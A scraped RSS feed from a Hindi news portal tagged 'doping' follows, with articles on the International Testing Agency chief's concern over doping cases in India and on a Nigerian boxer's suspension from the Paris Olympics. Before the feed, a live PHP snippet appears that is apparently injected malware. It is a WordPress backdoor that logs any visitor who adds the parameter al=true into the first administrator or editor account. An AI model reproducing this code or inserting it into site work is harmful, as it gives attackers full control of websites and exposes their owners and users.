// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); doping – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 03 May 2026 14:02:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 आईटीए प्रमुख की चिंता: भारत में डोपिंग मामलों पर बड़ा सवाल https://pratyushaashakinayikiran.com/?p=216723 Sun, 03 May 2026 14:02:00 +0000 https://pratyushaashakinayikiran.com/?p=216723  नई दिल्ली  

ओलंपिक खेलों और अन्य प्रमुख वैश्विक प्रतियोगिताओं में डोपिंगरोधी कार्यक्रम का प्रबंधन करने वाली संस्था अंतरराष्ट्रीय परीक्षण एजेंसी (आईटीए) के महानिदेशक बेंजामिन कोहेन ने भारत में डोपिंग के मामलों की उच्च दर, खिलाड़ियों को परीक्षण से पहले अग्रिम सूचना दिए जाने और उनका नमूना नहीं देने पर ¨चिंता व्यक्त की है।

कोहेन ने यह भी कहा है कि हमें ऐसे किस्से भी सुनने को मिल रहे हैं कि भारत में खिलाड़ी डो¨पग की जांच से बचने के लिए भाग जाते हैं। जबकि, खिलाड़ियों को जांच से पहले अग्रिम सूचना दी जाती है। बेंजामिन कोहेन ने एक रिपोर्ट में कहा कि अंतरराष्ट्रीय ओलंपिक समिति (आईओसी) ने यह संदेश दिया है कि यदि भारत 2036 खेलों की मेजबानी करना चाहता है तो उसे शासन और संरचनात्मक स्तर पर कई सुधार करने होंगे।

एक विदेश अखबार के लिए खेल संबंधी खबरें कवर करने वाले प्लेटफार्म के अनुसार कोहेन ने कहा कि हम भारत में डोपिंग की स्थिति को लेकर चंतित हैं और हमें जमीनी स्तर पर हो रही कई घटनाओं के बारे में जानकारी मिल रही है। आइओसी की ओर से डोपिंगरोधी परीक्षणों की देखरेख करने के अलावा लाजेन स्थित आईटीए लगभग 50 अंतरराष्ट्रीय खेल संघों के डोपिंगरोधी कार्यक्रमों का प्रबंधन भी करता है।

कोहेन ने कहा कि उन्होंने इटली के मिलानो कोर्टिना में हाल ही में हुए शीतकालीन ओलंपिक के दौरान नई दिल्ली स्थित राष्ट्रीय डोपिंगरोधी एजेंसी (नाडा) और भारतीय ओलंपिक संघ (आईओए) के अधिकारियों से मुलाकात की और आईटीए के साथ मिलकर काम करने की उनकी स्पष्ट इच्छा से उन्हें काफी प्रोत्साहन मिला। लेकिन, उन्होंने यह भी स्वीकार किया कि भारत को आईटीए के साथ मिलकर काम करने के लिए राजी करना आसान काम नहीं होगा, क्योंकि भारत द्वारा उसकी डोपिंगरोधी प्रणाली की विफलता की स्वीकारोक्ति के रूप में देखा जा सकता है।

भारत अब सही राह पर
कोहेन ने यह भी कहा कि मुझे लगता है कि भारत सही राह पर हैं, क्योंकि अब यह स्पष्ट है कि आईओए और खेल मंत्रालय इस दिशा में कुछ करना चाहते हैं। उनके पास संसाधन हैं। इसलिए यह केवल कुछ समय की बात है। भारत लगातार तीन वर्षों से विश्व डोपिंगरोधी एजेंसी (वाडा) की डोपिंग का उल्लंघन करने की सूची में शीर्ष पर है। भारत 2030 में अहमदाबाद में राष्ट्रमंडल खेलों की मेजबानी करेगा।

 

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नाइजीरिया की मुक्केबाज डोपिंग के कारण ओलंपिक से निलंबित https://pratyushaashakinayikiran.com/?p=55196 Sun, 28 Jul 2024 15:00:00 +0000 https://pratyushaashakinayikiran.com/?p=55196 पेरिस
 नाइजीरिया की मुक्केबाज सिंथिया ओगुनसेमिलोर को प्रतिबंधित डोपिंग पदार्थ के सेवन का दोषी पाए जाने के बाद पेरिस ओलंपिक खेलों से बाहर कर दिया गया है।

अंतरराष्ट्रीय परीक्षण एजेंसी के अनुसार अफ्रीकी खेलों की लाइटवेट चैंपियन ओगुनसेमिलोर का गुरुवार को परीक्षण किया गया था और उनके मूत्र में फ़्यूरोसेमाइड पाया गया है। फ़्यूरोसेमाइड एक मास्किंग एजेंट है जो अन्य दवाओं की उपस्थिति को छिपा सकता है।

एजेंसी के अनुसार ओगुनसेमिलोर को अस्थायी रूप से निलंबित कर दिया गया है और वह ओलंपिक में भाग नहीं ले सकती हैं।

इस 22 वर्षीय मुक्केबाज को 60 किग्रा भार वर्ग में चौथी वरीयता दी गई थी तथा उन्हें अपना पहला मुकाबला सोमवार को खेलना था।

ओगुनसेमिलोर ने पिछले साल अपने वजन वर्ग में अफ्रीकी खेलों का खिताब जीता था। उन्होंने राष्ट्रमंडल खेल 2022 में कांस्य पदक जीता था।

वह डोपिंग के कारण पेरिस ओलंपिक से बाहर होने वाली दूसरी खिलाड़ी हैं। इससे पहले शुक्रवार को इराकी जुडोका सज्जाद सेहेन का परीक्षण पॉजिटिव पाया गया था।

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